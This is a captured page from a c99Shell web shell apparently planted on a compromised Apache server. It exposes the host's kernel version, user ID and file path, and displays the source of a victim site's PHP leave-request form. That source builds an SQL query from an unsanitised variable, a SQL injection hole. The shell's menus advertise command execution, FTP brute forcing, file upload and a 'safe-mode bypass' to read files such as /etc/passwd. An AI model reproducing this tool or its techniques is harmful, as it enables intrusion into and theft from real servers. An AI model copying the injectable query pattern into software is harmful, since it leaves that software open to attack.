!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddAbsent.php (5.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../include/FunctionDB.php");
include(
"../include/Function.php");

 
ConnectDB();

$sql "Select * From personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId Where Teacher_code='$Teacher_code'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rss mysql_fetch_array($result);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="475" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="475">
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>">หน้าหลัก</font></legend>
            
              <form id="form1" name="form1" method="post" action="Insert_AddAbsent.php">
                <table width="97%" border="0" align="center" cellpadding="0" cellspacing="0" style=" border:0px solid gray"size="12">
                  
                  
                  <tr>
                    <td height="43" ><table width="100%" height="179" border="0" align="center" cellpadding="0" cellspacing="0" style="background-color:#eeeeee; border:0px solid gray"size="12">
                      <tr>
                        <td height="25" colspan="3" bgcolor="#FDD88A"><div align="center"><font color="#000000" size="4" face="Tahoma"><strong>เพิ่มวันลาสะสม</strong></font></div></td>
                      </tr>
                      <tr bgcolor="#FFFFFF">
                        <td width="48%" height="25"><div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อ 
                        - นามสกุล</font></div></td>
                        <td width="1%">&nbsp;</td>
                        <td width="51%"><font color="#003366" size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rss[prefixName]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?></font></td>
                      </tr>
                      <tr bgcolor="#FFFFFF">
                        <td height="25"><div align="center"><font color="#003366" size="2" face="Tahoma">ปีงบประมาณ</font></div></td>
                        <td>&nbsp;</td>
                        <td><div align="left"><font color="#0000FF" size="2" face="Geneva, Arial, Helvetica, sans-serif">
                            <select name="Year" id="select20">
                              <option value="0">&lt;ระบุ&gt;</option>
                              <? for($i=2547;$i<=2552;$i++){ 
                                 
$temp=$i;
                                if(
date('Y')==$temp)
                                echo
"<option value='$temp'selected>$temp</option>";
                                   else  echo
"<option value='$temp'>$temp</option>";
                                 }
?>
                            </select>
                        </font></div></td>
                      </tr>
                      <tr bgcolor="#FFFFFF">
                        <td height="25"><div align="center"><font color="#003366" size="2" face="Tahoma">ประเภทการลา</font></div></td>
                        <td>&nbsp;</td>
                        <td><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <select name="Absent_code" id="Absent_code" class="input1">
                            <?php
            $strSQL3 
"SELECT * FROM  history_absent01_tb ";//Where Absent_code='$Absent_code' ";
           
$result3 mysql_query($strSQL3);
                 while( 
$rs3 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rs3[Absent_code]\" ><b>$rs3[Absent_type]</b></option>\n";
                }
                
CloseDB();  
                
          
?>
                          </select>
                        </font></strong></font></td>
                      </tr>
                      <tr bgcolor="#FFFFFF">
                        <td height="25"><div align="center"><font color="#003366" size="2" face="Tahoma">จำนวนวันลา</font></div></td>
                        <td>&nbsp;</td>
                        <td><div align="left">
                            <input name="Absent_times" type="text" id="Absent_times" size="2" maxlength="2" />
                        </div></td>
                      </tr>
                      <tr bgcolor="#FFFFFF">
                        <td height="25"><div align="center"><font color="#003366" size="2" face="Tahoma">จำนวนวันลาพักผ่อนที่ปีที่ผ่านมา</font></div></td>
                        <td>&nbsp;</td>
                        <td><div align="left">
                            <input name="Absent_code1" type="text" id="Absent_code1" size="2" maxlength="2" />
                        </div></td>
                      </tr>
                      <tr>
                        <td height="29" colspan="3" bgcolor="#FDD88A"><div align="center">
                            <input type="hidden" name="Teacher_code" value="<? echo $rss[Teacher_code]?>" />
                            <input type="submit" name="Submit" value="  เพิ่ม  " class="button" />
                          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          <input type="reset" name="Submit" value="Reset" class="button" />
                        </div></td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
              </form>
        
            </label>
        </fieldset>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0165 ]--